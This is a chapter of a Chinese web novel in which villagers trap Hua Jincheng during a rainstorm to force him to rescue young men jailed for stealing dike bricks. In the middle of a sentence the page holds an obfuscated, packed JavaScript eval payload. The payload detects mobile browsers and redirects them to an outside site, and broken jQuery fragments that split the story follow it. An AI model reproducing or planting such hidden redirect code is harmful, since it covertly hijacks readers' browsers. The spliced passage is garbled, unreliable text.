13. 第 13 章

作品:《亲事总要门当户对

    天色蒙蒙亮,因为下雨的缘故,天空早就被乌云覆盖,太阳的光芒非常艰难的从云层里透露一些出来,这才不至于让这世间陷入完全的黑暗。


    雨水从昨日到今晨,就跟不要钱一般,拼命的泼洒,花家村有些地势较低的人家,院子里甚至都开始积上一层薄薄的雨水,昨夜的电闪雷鸣逐渐退去,可这颗颗雨滴砸在屋檐上的声音,却层出不穷,响个不停。


    村长一早就起来了,他抽着烟袋,就坐在破旧的堂屋里等着,在他左手边的案桌上就放着那个看起来陈旧,很有些年头,却又很难打开的箱子。


    “叔,你说……花锦城那匹夫会来么?”村长的侄子,村里为数不多的年轻后生,从昨儿个信送出去之后,就蹲守在村长家里,就等着花锦城带着家眷前来,和外头的人里应外合,再将花锦城扣住。


    “来是肯定要来的。”村长捻着烟叶子,露出泛黄的大牙,舍不得的看向桌上那箱子,他自从接过村长的位置,就将这箱子从祠堂里偷了出来,这么些个日日夜夜,他想尽了办法,就是没法打开,他也用力晃过,里头的响动不小,肯定有东西。


    “那万一就他一个人来怎么办?”村长的侄子回想起当年花锦城家里的妹妹,心头一阵浮动,那时候花似鸢还是乡绅家的姑娘,他连看一眼都不容易,后来这一家子败落了,他们这些村里的小子们很少没动心思的,但是架不住花锦城这混球太猴精,早早就将妹妹送出了村子,之后才给老祖父发丧,他们再想去找花家这个姑娘,人家都住到县里去了。


    “只要花锦城在这里,他的那些家眷肯定会来,如果一日不来,我们就扣花锦城一日,如果一月不来,我们就扣花锦城一月,他那个家里,就只有个没长毛的小子,那些女人不足为惧,等着时间长了,她们没了男人撑门户,自然就会来了。”村长说起这个,得意了三分,这花锦城如果老实,那他们将人全家都扣下,花锦城要是耍花样,左右也能当个鱼饵。


    就算这事儿告到县里去,他们花家村祭祖,官家也不能插手,他可是打了一手的好算盘。


    “那我去外头看看,说不定人已经进村了。”村长的侄子取了蓑衣过来,披在身上就要往外走,刚一走到小院里,豆大的雨滴生生砸在他戴的斗笠上,发出噼里啪啦的脆响,甚至还让人有一丝丝疼痛感,“这鬼天,难道要漏了不成!”


    推开院门,他人还没走出去,就见栓子隔着雨帘,高声喊道:“人来了,人来了!”


    村长听着外头的动静,提着烟袋雨伞都没拿,就冲到院门口往外看,雨水喷了他一脸,他不停的抹着脸,哪怕眼睛被糊住了,也舍不得将视线移开。


    “他一个人来的,还是带了人?”村长的侄子见栓子过来,赶忙问道。


    “花锦城?”栓子想了想,肯定道:“就他一个人,没见旁人。”


    村长的侄子立刻就没了精神,但还是强行隐藏那失望,生怕让村长看出来。


    “我就知道,这小子,从小心思就重,赶紧的,去叫族老们过来,就说花锦城来了,他们要还想要家里的儿子,今儿怎么都要将他说明白了。”


    村长提了精神,只要这村子里的人同仇敌忾,谅这花锦城也翻不出花来。


    看着村长院子门口乌压压的这些人,花锦城摸上了腰间的细刀,他来之前就知道这帮货色的本质,也不知道当年太祖母的爹是怎么想的,跑到这种地方,还养了这么些个忘恩负义的家伙,以至于后续子孙跟着受连累。


    “东西呢?”院子门口,花锦城外衫早就湿透了,唯一一双靴子里早就灌满了水,磨破的双脚泡在水中,又疼又痒。


    “还未祭祖,你着什么急,都是花家的子孙,我们还能害你?”村长站在人群中间,见花锦城人单影孤,之前的忐忑早就没了,人也傲气起来。


    “那就赶紧祭祖,忙完我还要回去。”花锦城连村长家里都不想进,很是不耐烦的说道。


    其余人不像村长那样能沉的住气,各位族老一下将花锦城围了起来,一看那架势就不可能放他走。


    “说实话吧,村长找你来,除了祭祖之外,还想托你办个事儿。你要是同意去县里找人将村里的后生们弄出来,我们就饶了你,要是你不答应,往后你也别想离开这个村子。”


    “你们说的这个没头没尾的,我怎么帮忙……”花锦城擦了擦眼睛上的水滴,仔细观瞧,这村子里原先的熟面孔,确实少了不少。


    七族老安抚住其他人,尽量心平气和的说道:“花家村不富裕你也是知道的,近些年来赋税逐渐加重,我们这些庄稼汉除了交赋税也剩不下多少,所以村里的后生们也是为了生活,几个月前听说堤坝上来了一批砖头,原先是要修堤坝的,可后来不知道怎么的就没动工,后生们也是心急了,就将那些砖头偷偷取了换了银钱……”


    花锦城一听差点没转头拔腿跑了,这哪里是帮忙,这是让他去送死,鸿途县这么多年都没修堤坝,今年新帝登基第一时间就送了砖头过来,那肯定是堤坝出了什么问题,之所以迟迟不修,还那么轻而易举的将这些砖头放在外头,那肯定是内有蹊跷,恐怕就是等着像花家村的村民这样的蠢货出现,偷走砖头。


    这是要让花家村的人做那替死鬼,以掩盖这堤坝里头的猫腻,这里头的事儿怕是大案!


    “这事儿不成。”花锦城斩钉截铁,今儿箱子要不到,他也不能干这掉脑袋的事情。


    族老们一听就炸了,他们还指着他翻案,救自己的孩子出来呢,怎么刚开口就回绝了,这不就是想要断他们的香火么。


    “怎么就不成了,这不就是钱的事情么,那些砖头值多少,我们都凑钱给了,只要将娃娃们送回来。”


    “就是,我儿还小呢,还没娶妻呢。”


    “我家才买的媳妇,儿子还没上手呢,这时间长了,媳妇生了外心,要跑咋办。”


    “花锦城,你最好识时务,村长的儿子也卷在里头,你要是还想离开这里,还想你祖上的箱子,你老实照办!”


    七嘴八舌,几乎盖过了下暴雨的声音,这时候就在瓢泼大雨之中,每个人都湿透了,可是谁都不能走,否则一但他们离开,他们的孩子恐怕就真的没希望了。


    “你们……”花锦城差点就将事情的严重性说出来给众人听,可他一瞬间的压了下去。


    没用的,这些人不会理解的,或者他们根本不想理解,自己已经成为了他们的救命稻草,就算他说不成,这些人只会觉着他铁石心肠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538713|170298||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,不近人情,也绝不会相信这村里的人在偷砖之后,就已经走了死路了。


    花家村的下一代,已经彻底毁了。


    “想要帮忙,也不是不行,我要看那个箱子。”花锦城转了口风,看向村长。


    村长倒没拒绝,为了儿子,箱子里的东西再让他挠心挠肺,他也要舍了,大不了之后找个机会再将箱子夺回来。


    “跟我来。”


    众人将花锦城围着往村长院子里去,然后死死堵住院子门,花锦城就算插翅也难飞。


    箱子就这么孤零零的放在案桌上,花锦城从未见过这个箱子,但他看了眼箱子的锁,他已经确认这就是太祖父放在祠堂里一直供奉的那只箱子,毕竟如此奇怪的锁和钥匙,这个小地方也只有他家才会有。


    “东西我也不拿,就先放在这里,但是现在雨太大了,我要这个样子去县里,人家也不见得愿意见我,倒不如祭祖之后,雨势小了之后,我再回家换身衣服,前去县衙找一找关系,好歹要知道村里那些壮劳力过的怎么样吧。”


    花锦城只摸了一把那个箱子,就毫不留恋的转身说道。


    族老们见他对那个箱子也不像特别留意的样子,就都暂时放了心,况且这小子说的也没错,太过着急也没用,万一这小子去了县里胡说八道,他们的孩子估计就再回不来了。


    “那你就留在村长这里,等着祭祖之后,咱们陪着你一起去县里。”


    村长也没反对,反而让人将花锦城带去最小的那个房间,然后找了栓子过来,低声道:“去县里给花家送信,就说花锦城在路上摔伤了,让她们家女眷过来照应,你往重了说,我就不信,那帮女人能长什么脑子。”


    栓子先是有些不愿,这毕竟雨水太重,他跑一趟实在不容易,但村长又递过来几个铜板,他便立刻应了,转身就往外村外跑,如果运气好,等着天光大亮的时候,说不定雨水就能停了。


    花锦城被关进了小屋,只能从封死的窗户缝里往外瞧,天空又暗了下来,之前停止的电闪雷鸣似乎又重振旗鼓,再接再厉。


    原本他只认为这是一场季节性的暴雨,并没有过多关注,但听过那些族老的话,他却陷入深深的担忧,如此大的水量,那年久的堤坝,那没修的堤坝,真的可以撑得住么?


    鸿途县内,地面的水位悄然升高,却暂时无人发觉。


    家里难得没人,花轻轻睡到了自然醒,她推开窗户又赶紧关上,外头的雨势完全没有要停的意思,空气中的潮湿与阴寒几乎在开窗的那一瞬便霸道的闯入屋内,这天就跟漏了似的,也不知道什么时候才会放晴。


    她想起了母亲临走时的交代,换了身更旧耐磨的衣服,随意梳了个双髻便去了厨房对付了两口,然后就赶紧打着伞,往药铺的方向去。


    曾经还算热闹的街道,两边几乎无人摆摊,就算是临街的铺子也都半掩着,只有人进去,里头的店家才会出来迎客。


    花轻轻低头看着才没走几步就湿透了的鞋面,心烦意乱,满脑子想着母亲与父亲,还有姑姑与弟弟。


    “轻娘?”迎面而来一人,站在雨中显得格外狼狈。


    “孙学子?”花轻轻倒没想到,昨日刚回私塾的孙墨书竟然会回来了。